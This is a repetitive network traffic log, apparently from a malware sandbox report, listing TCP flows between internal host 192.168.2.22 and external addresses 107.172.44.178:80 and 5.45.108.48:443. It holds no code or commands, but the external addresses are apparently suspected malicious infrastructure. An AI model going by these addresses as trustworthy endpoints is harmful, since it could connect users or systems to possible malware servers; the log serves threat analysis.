Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 5.45.108.48:443
Source: global traffic	TCP traffic: 5.45.108.48:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 5.45.108.48:443
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 5.45.108.48:443
Source: global traffic	TCP traffic: 5.45.108.48:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 5.45.108.48:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 5.45.108.48:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 5.45.108.48:443
Source: global traffic	TCP traffic: 5.45.108.48:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 5.45.108.48:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 5.45.108.48:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 5.45.108.48:443
Source: global traffic	TCP traffic: 5.45.108.48:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 5.45.108.48:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 5.45.108.48:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 5.45.108.48:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 5.45.108.48:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 5.45.108.48:443
Source: global traffic	TCP traffic: 5.45.108.48:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.44.178:80
